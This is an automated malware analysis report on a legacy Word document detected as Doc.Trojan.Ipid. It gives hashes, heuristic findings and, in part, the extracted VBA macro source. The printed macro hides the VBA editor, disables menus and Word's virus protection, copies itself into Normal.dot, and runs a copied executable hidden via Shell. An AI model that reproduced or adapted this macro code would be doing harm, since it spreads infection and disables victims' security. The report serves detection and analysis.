Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 45129fb43b97656a…

MALICIOUS

Office (OLE)

36.0 KB Created: 2001-04-19 23:26:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: bd85180cd00965c7dcd763a2defec03e SHA-1: f924c608f8a73f8588b7215623d721bcea29e533 SHA-256: 45129fb43b97656a1c056e10adc0607e9325408028b71fe75d0180447a4d2036
340 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a critical OLE_VBA_SHELL heuristic firing, indicating a Shell() call within the VBA macros. The autoopen macro attempts to disable security features and execute a file located at \\esm-cpd\e$\ipid.exe. This strongly suggests the document is a malicious macro-enabled file intended to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Trojan.Ipid-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ipid-4
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8436 bytes
SHA-256: e3e9c6bce4c81c0459c6842cdfc5aa847a4d5eb2d9c050f67e66ff623b85f46c
Detection
ClamAV: Doc.Trojan.Ipid-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub autoopen()
On Error Resume Next 'normal.dot plc
w1 = Application.VBE.Windows.Count
For i = 1 To w1
Application.VBE.Windows(i).Visible = False
Next
i = 0
For Each b In Application.VBE.CommandBars
i = i + 1
Application.VBE.CommandBars(i).Protection = msoBarNoCustomize
Application.VBE.CommandBars(i).Enabled = False
Next
p1 = "\\esm-cpd\e$\ipid.exe"
FindKey(KeyCode:=BuildKeyCode(wdKeyAlt, wdKeyF11)).Disable
Options.VirusProtection = False
CommandBars(33).Controls("exibir").Controls("barras de ferramentas").Enabled = False
CommandBars(33).Controls("Ferramentas").Controls("opções...").Enabled = False
CommandBars(33).Controls("Ferramentas").Controls("personalizar...").Enabled = False
CommandBars(33).Controls("Ferramentas").Controls("Macro").Controls("macros...").Enabled = False
CommandBars(33).Controls("Ferramentas").Controls("Macro").Controls("Editor do Visual Basic").Enabled = False
CommandBars(33).Controls("Ferramentas").Controls("Macro").Enabled = False
i = 0
For Each b In CommandBars
i = i + 1
If (b.NameLocal = "Barra de menus") Or (b.NameLocal = "Padrão") Or (b.NameLocal = "Formatação") Then
CommandBars(i).Protection = msoBarNoCustomize
Else
CommandBars(i).Enabled = False
End If
Next
c1 = Documents.Count
If c1 >= 1 Then
   e1 = ActiveDocument.VBProject.VBComponents.Count
   If e1 >= 1 Then
      e2 = ActiveDocument.VBProject.VBComponents.Item(1).Name
      If e1 >= 2 Then
          e3 = ActiveDocument.VBProject.VBComponents.Item(2).Name
          c2 = MacroContainer
          If c2 = ActiveDocument.Name Then
             d1 = ActiveDocument.FullName
             d2 = ActiveDocument.AttachedTemplate.FullName
             d4 = "NewMacros"
             e5 = NormalTemplate.VBProject.VBComponents.Count
             If e5 >= 1 Then
                  e6 = NormalTemplate.VBProject.VBComponents.Item(1).Name
                  If e5 >= 2 Then
                         e7 = NormalTemplate.VBProject.VBComponents.Item(2).Name
                         Application.OrganizerDelete d2, e7, wdOrganizerObjectProjectItems
                         d2 = ActiveDocument.AttachedTemplate.FullName
                         d4 = "NewMacros"
                         Application.OrganizerCopy d1, d2, d4, wdOrganizerObjectProjectItems
                         Application.NormalTemplate.Save
                         FileCopy p1, "c:\windows\ipid.exe"
                        Shell "c:\windows\ipid.exe", 0
                         End
                   End If 'rodando no ativo sem modulo no nrmal
                         d2 = ActiveDocument.AttachedTemplate.FullName
                         d4 = "NewMacros"
                         Application.OrganizerCopy d1, d2, d4, wdOrganizerObjectProjectItems
                        Application.NormalTemplate.Save
                        FileCopy p1, "c:\windows\ipid.exe"
                        Shell "c:\windows\ipid.exe", 0
                        End
              End If
           End If 'rodando no normal.dot
            d1 = ActiveDocument.FullName
            d2 = ActiveDocument.AttachedTemplate.FullName
            d4 = "NewMacros"
            Application.OrganizerDelete d1, e3, wdOrganizerObjectProjectItems
            Application.OrganizerCopy d2, d1, d4, wdOrganizerObjectProjectItems
            Application.NormalTemplate.Save
            FileCopy p1, "c:\windows\ipid.exe"
                        Shell "c:\windows\ipid.exe", 0
            End
       End If 'rodando no normal sem modulo no proj
          d1 = ActiveDocument.FullName
          d2 = ActiveDocument.AttachedTemplate.FullName
          d4 = "NewMacros"
          Application.OrganizerCopy d2, d1, d4, wdOrganizerObjectProjectItems
          Application.NormalTemplate.Save
          FileCop
... (truncated)